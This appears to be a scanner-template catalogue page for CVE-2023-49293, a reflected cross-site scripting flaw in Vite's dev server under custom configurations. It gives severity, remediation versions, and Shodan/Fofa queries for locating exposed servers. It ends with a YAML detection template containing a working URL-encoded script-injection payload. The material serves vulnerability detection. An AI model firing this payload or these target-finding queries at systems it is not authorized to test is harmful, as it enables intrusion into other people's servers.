CVE-2023-49293: Vite dev server - Cross-Site Scripting
- Template: CVE-2023-49293
- Name: Vite dev server - Cross-Site Scripting
- Description: Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
- Impact: Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
- Remediation: Update to [email protected], [email protected], or [email protected].
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2023, vite, xss
- References: https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97, https://nvd.nist.gov/vuln/detail/CVE-2023-49293
- Cves: CVE-2023-49293
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-49293.yaml
- Digest: 490a004630440220655ba697d07307f37d19e74a76c37998acd937b57878ba483e0a9b24cd30078d02202e27489838c00097ec6bbaee74b2a9bd38839701f4dab028157a3121f102afe7
- Created at: 2026-04-01T06:50:03Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 237
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-49293.yaml
- Checked, none or zero: verified, products
Classification
- Cwe: CWE-80
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00997
- Epss percentile: 0.63584
- Not known: cpe
Metadata
- Fofa-query: body="/@vite/client"
- Max-request: 1
- Shodan-query: http.html:"/@vite/client"
Labels
- Name: Vite - Reflected XSS
- Impact: Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
- Remediation: Update to [email protected], [email protected], or [email protected].
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: User must click on a malicious URL while running the dev server.
- Labels source: projectdiscovery
- From cve: CVE-2023-49293
```yaml
id: CVE-2023-49293
info:
name: Vite dev server - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
impact: |
Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
remediation: |
Update to [email protected], [email protected], or [email protected].
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97
- https://nvd.nist.gov/vuln/detail/CVE-2023-49293
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-49293
epss-score: 0.00997
epss-percentile: 0.63584
cwe-id: CWE-80
metadata:
max-request: 1
fofa-query: body="/@vite/client"
shodan-query: http.html:"/@vite/client"
tags: cve,cve2023,vite,xss
http:
- method: GET
path:
- "{{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E "
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'src="/@id/__x00__/?"></script><script>alert(document.domain)</script>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
digest: 490a004630440220655ba697d07307f37d19e74a76c37998acd937b57878ba483e0a9b24cd30078d02202e27489838c00097ec6bbaee74b2a9bd38839701f4dab028157a3121f102afe7:922c64590222798bb761d5b6d8e72950
```